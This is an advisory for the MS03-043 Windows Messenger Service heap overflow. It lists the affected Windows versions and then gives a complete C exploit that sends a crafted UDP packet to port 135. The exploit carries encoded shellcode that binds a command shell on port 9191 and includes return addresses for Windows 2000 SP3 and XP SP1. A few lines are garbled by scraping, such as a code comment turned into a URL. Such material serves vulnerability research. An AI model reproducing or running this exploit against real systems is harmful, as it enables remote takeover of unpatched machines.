Summary
A security vulnerability exists in the Messenger Service that could allow arbitrary code execution on an affected system. The vulnerability results because the Messenger Service does not properly validate the length of a message before passing it to the allocated buffer.
Details
Vulnerable Systems:
* Microsoft Windows NT Workstation 4.0, Service Pack 6a
* Microsoft Windows NT Server 4.0, Service Pack 6a
* Microsoft Windows NT Server 4.0, Terminal Server Edition, Service Pack 6
* Microsoft Windows 2000, Service Pack 2
* Microsoft Windows 2000, Service Pack 3, Service Pack 4
* Microsoft Windows XP Gold, Service Pack 1
* Microsoft Windows XP 64-bit Edition
* Microsoft Windows XP 64-bit Edition Version 2003
* Microsoft Windows Server 2003
* Microsoft Windows Server 2003 64-bit Edition
Immune Systems:
* Microsoft Windows Millennium Edition
Exploit:
/************************************************************************************
Exploit for Microsoft Windows Messenger Heap Overflow (MS03-043)
based on PoC DoS by
recca@mail.ruby Adik < netmaniac [at] hotmail.kg >
http://netninja.to.kgBinds command shell on port 9191
Tested on
Windows XP Professional SP1 English version
Windows 2000 Professional SP3 English version
access violation -> unhandledexceptionfilter ->
-> call [esi+48h]/call [edi+6ch] (win2kSP3/WinXPSP1) -> longjmp -> shellcode
attach debugger and c how it flows
worked fine for me
-[25/Oct/2003]-
************************************************************************************/
#include <stdio.h>
#include <winsock.h>
#include <string.h>
#include <time.h>
#pragma comment(lib,"ws2_32")
#define VER "0.7"
/**************** bind shellcode spawns shell on port 9191 ************************/
unsigned char kyrgyz_bind_code[] = {
0xEB,0x03,0x5D,0xEB,0x05,0xE8,0xF8,0xFF,0xFF,0xFF,0x8B,0xC5,0x83,0xC0,0x11,0x33,0xC9,0x66,0xB9,
0xC9,0x01,0x80,0x30,0x88,0x40,0xE2,0xFA,
0xDD, 0x03, 0x64, 0x03, 0x7C, 0x09, 0x64, 0x08, 0x88, 0x88, 0x88, 0x60, 0xC4, 0x89, 0x88, 0x88,
0x01, 0xCE, 0x74, 0x77, 0xFE, 0x74, 0xE0, 0x06, 0xC6, 0x86, 0x64, 0x60, 0xD9, 0x89, 0x88, 0x88,
0x01, 0xCE, 0x4E, 0xE0, 0xBB, 0xBA, 0x88, 0x88, 0xE0, 0xFF, 0xFB, 0xBA, 0xD7, 0xDC, 0x77, 0xDE,
0x4E, 0x01, 0xCE, 0x70, 0x77, 0xFE, 0x74, 0xE0, 0x25, 0x51, 0x8D, 0x46, 0x60, 0xB8, 0x89, 0x88,
0x88, 0x01, 0xCE, 0x5A, 0x77, 0xFE, 0x74, 0xE0, 0xFA, 0x76, 0x3B, 0x9E, 0x60, 0xA8, 0x89, 0x88,
0x88, 0x01, 0xCE, 0x46, 0x77, 0xFE, 0x74, 0xE0, 0x67, 0x46, 0x68, 0xE8, 0x60, 0x98, 0x89, 0x88,
0x88, 0x01, 0xCE, 0x42, 0x77, 0xFE, 0x70, 0xE0, 0x43, 0x65, 0x74, 0xB3, 0x60, 0x88, 0x89, 0x88,
0x88, 0x01, 0xCE, 0x7C, 0x77, 0xFE, 0x70, 0xE0, 0x51, 0x81, 0x7D, 0x25, 0x60, 0x78, 0x88, 0x88,
0x88, 0x01, 0xCE, 0x78, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x92, 0xF8, 0x4F, 0x60, 0x68, 0x88, 0x88,
0x88, 0x01, 0xCE, 0x64, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x25, 0xA6, 0x61, 0x60, 0x58, 0x88, 0x88,
0x88, 0x01, 0xCE, 0x60, 0x77, 0xFE, 0x70, 0xE0, 0x6D, 0xC1, 0x0E, 0xC1, 0x60, 0x48, 0x88, 0x88,
0x88, 0x01, 0xCE, 0x6A, 0x77, 0xFE, 0x70, 0xE0, 0x6F, 0xF1, 0x4E, 0xF1, 0x60, 0x38, 0x88, 0x88,
0x88, 0x01, 0xCE, 0x5E, 0xBB, 0x77, 0x09, 0x64, 0x7C, 0x89, 0x88, 0x88, 0xDC, 0xE0, 0x89, 0x89,
0x88, 0x88, 0x77, 0xDE, 0x7C, 0xD8, 0xD8, 0xD8, 0xD8, 0xC8, 0xD8, 0xC8, 0xD8, 0x77, 0xDE, 0x78,
0x03, 0x50, 0xDF, 0xDF, 0xE0, 0x8A, 0x88, 0xAB, 0x6F, 0x03, 0x44, 0xE2, 0x9E, 0xD9, 0xDB, 0x77,
0xDE, 0x64, 0xDF, 0xDB, 0x77, 0xDE, 0x60, 0xBB, 0x77, 0xDF, 0xD9, 0xDB, 0x77, 0xDE, 0x6A, 0x03,
0x58, 0x01, 0xCE, 0x36, 0xE0, 0xEB, 0xE5, 0xEC, 0x88, 0x01, 0xEE, 0x4A, 0x0B, 0x4C, 0x24, 0x05,
0xB4, 0xAC, 0xBB, 0x48, 0xBB, 0x41, 0x08, 0x49, 0x9D, 0x23, 0x6A, 0x75, 0x4E, 0xCC, 0xAC, 0x98,
0xCC, 0x76, 0xCC, 0xAC, 0xB5, 0x01, 0xDC, 0xAC, 0xC0, 0x01, 0xDC, 0xAC, 0xC4, 0x01, 0xDC, 0xAC,
0xD8, 0x05, 0xCC, 0xAC, 0x98, 0xDC, 0xD8, 0xD9, 0xD9, 0xD9, 0xC9, 0xD9, 0xC1, 0xD9, 0xD9, 0x77,
0xFE, 0x4A, 0xD9, 0x77, 0xDE, 0x46, 0x03, 0x44, 0xE2, 0x77, 0x77, 0xB9, 0x77, 0xDE, 0x5A, 0x03,
0x40, 0x77, 0xFE, 0x36, 0x77, 0xDE, 0x5E, 0x63, 0x16, 0x77, 0xDE, 0x9C, 0xDE, 0xEC, 0x29, 0xB8,
0x88, 0x88, 0x88, 0x03, 0xC8, 0x84, 0x03, 0xF8, 0x94, 0x25, 0x03, 0xC8, 0x80, 0xD6, 0x4A, 0x8C,
0x88, 0xDB, 0xDD, 0xDE, 0xDF, 0x03, 0xE4, 0xAC, 0x90, 0x03, 0xCD, 0xB4, 0x03, 0xDC, 0x8D, 0xF0,
0x8B, 0x5D, 0x03, 0xC2, 0x90, 0x03, 0xD2, 0xA8, 0x8B, 0x55, 0x6B, 0xBA, 0xC1, 0x03, 0xBC, 0x03,
0x8B, 0x7D, 0xBB, 0x77, 0x74, 0xBB, 0x48, 0x24, 0xB2, 0x4C, 0xFC, 0x8F, 0x49, 0x47, 0x85, 0x8B,
0x70, 0x63, 0x7A, 0xB3, 0xF4, 0xAC, 0x9C, 0xFD, 0x69, 0x03, 0xD2, 0xAC, 0x8B, 0x55, 0xEE, 0x03,
0x84, 0xC3, 0x03, 0xD2, 0x94, 0x8B, 0x55, 0x03, 0x8C, 0x03, 0x8B, 0x4D, 0x63, 0x8A, 0xBB, 0x48,
0x03, 0x5D, 0xD7, 0xD6, 0xD5, 0xD3, 0x4A, 0x8C, 0x88
};
int PreparePacket(char *packet,int sizeofpacket, DWORD Jmp, DWORD SEH);
int main(int argc,char *argv[])
{
int sockUDP,ver,c, packetsz,cnt;
unsigned char packet[8192];
struct sockaddr_in targetUDP;
WSADATA wsaData;
struct
{
char os[30];
DWORD SEH;
DWORD JMP;
} targetOS[] =
{
{
"Windows 2000 SP 3 (en)",
0x77ee044c, // unhandledexceptionfilter pointer
0x768d693e // cryptsvc.dll call [esi+48] 0x768d693e
},
{
"Windows XP SP 1 (en)",
0x77ed73b4,
0x7804bf52
http://rpcrt4.dll call [edi+6c]
}/*,
{ //not tested
"Windows XP SP 0 (en)",
0x77ed63b4,
0x7802ff3d //rpcrt4 call [edi+6c]
}*/
};
printf("\n-=[ MS Messenger Service Heap Overflow Exploit (MS03-043) ver %s ]=-\n\n"
" by Adik < netmaniac [at] hotmail.KG >\n
http://netninja.to.kg\n\n", VER);
if(argc < 3)
{
printf(" Target OS version:\n\n");
for(c=0;c<(sizeof(targetOS)/sizeof(targetOS[0]));c++)
printf(" [%d]\t%s\n",c,targetOS[c].os);
printf("\n Usage: %s [TargetIP] [ver: 0 | 1]\n"
" eg: msgr.exe 192.168.63.130 0\n",argv[0]);
return 1;
}
ver = atoi(argv[2]);
printf("[*] Target: \t IP: %s\t OS: %s\n"
"[*] UEF: \t 0x%x\n"
"[*] JMP: \t 0x%x\n\n", argv[1],targetOS[ver].os, targetOS[ver].SEH, targetOS[ver].JMP);
WSAStartup(0x0202, &wsaData);
printf("[*] WSAStartup initialized...\n");
ZeroMemory(&targetUDP, sizeof(targetUDP));
targetUDP.sin_family = AF_INET;
targetUDP.sin_addr.s_addr = inet_addr(argv[1]);
targetUDP.sin_port = htons(135);
packetsz = PreparePacket(packet,sizeof(packet),targetOS[ver].JMP,targetOS[ver].SEH);
if ((sockUDP = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1)
{
printf("[x] Socket not initialized! Exiting...\n");
return 1;
}
printf("[*] Socket initialized...\n");
printf("[*] Injecting packet into a remote process...\n");
if (sendto(sockUDP, packet, packetsz, 0, (struct sockaddr *)&targetUDP, sizeof(targetUDP)) == -1)
{
printf("[x] Failed to inject packet! Exiting...\n");
return 1;
}
else
printf("[*] Packet injected...\n");
printf("[i] Try connecting to %s:9191\n\n",argv[1]);
return 0;
}
/************************************************************************************/
int PreparePacket(char *packet,int sizeofpacket, DWORD Jmp, DWORD SEH)
{
static unsigned char packet_header[] =
"\x04\x00\x28\x00"
"\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0"
"\x4f\xb6\xe6\xfc\xff\xff\xff\xff\x42\x69\x73\x68\x6b\x65\x6b\x32"
"\x30\x30\x33\xff\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00";
unsigned char field_header[] = "\xff\xff\xff\xff\x00\x00\x00\x00"
"\xff\xff\xff\xff";
int packet_size,i,fields_size;
char from[] = "NETMANIAC";
char machine[] = "ADIK";
char longjmp[] ="\x90\x90\x90\x90\x90"
"\xEB\x03\x58\xEB\x05\xE8\xF8\xFF\xFF\xFF"
"\xB9\xFF\xFF\xFF\xFF\x81\xE9\x7F\xEE\xFF"
"\xFF\x2B\xC1\xFF\xE0";
char shortjmp[] ="\x90\x90\x90\x90\xEB\x10\x90\x90\x90\x90\x90\x90";
char body[5000] = "*** MESSAGE ***";//4096
ZeroMemory(packet, sizeofpacket);
packet_size = 0;
memcpy(&packet[packet_size], packet_header, sizeof(packet_header) - 1);
packet_size += sizeof(packet_header) - 1;
i = strlen(from) + 1;
*(unsigned int *)(&field_header[0]) = i;
*(unsigned int *)(&field_header[8]) = i;
memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
packet_size += sizeof(field_header) - 1;
strcpy(&packet[packet_size], from);
packet_size += (((i - 1) >> 2) + 1) << 2;
i = strlen(machine) + 1;
*(unsigned int *)(&field_header[0]) = i;
*(unsigned int *)(&field_header[8]) = i;
memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
packet_size += sizeof(field_header) - 1;
strcpy(&packet[packet_size], machine);
packet_size += (((i - 1) >> 2) + 1) << 2;
memset(body, 0x90, 2296);
memcpy(&body[500],kyrgyz_bind_code,sizeof(kyrgyz_bind_code));
memset(&body[2296],0x14,1800);
memcpy(&body[2296+1110],shortjmp,sizeof(shortjmp));
*(DWORD *)&body[2296+1121] = Jmp;
*(DWORD *)&body[2296+1125] = SEH;
memcpy(&body[2296+1129],longjmp,sizeof(longjmp)-1);
fprintf(stdout, "[*] Msg body size: %d\n",
3656 - packet_size + sizeof(packet_header) - sizeof(field_header));
body[3656 - packet_size + sizeof(packet_header) - sizeof(field_header) - 1] = '\0';
i = strlen(body) + 1;
*(unsigned int *)(&field_header[0]) = i;
*(unsigned int *)(&field_header[8]) = i;
memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
packet_size += sizeof(field_header) - 1;
strcpy(&packet[packet_size], body);
packet_size += i;
fields_size = packet_size - (sizeof(packet_header) - 1);
*(unsigned int *)(&packet[40]) = time(NULL);
*(unsigned int *)(&packet[74]) = fields_size;
return packet_size;
}
/************************************************************************************/
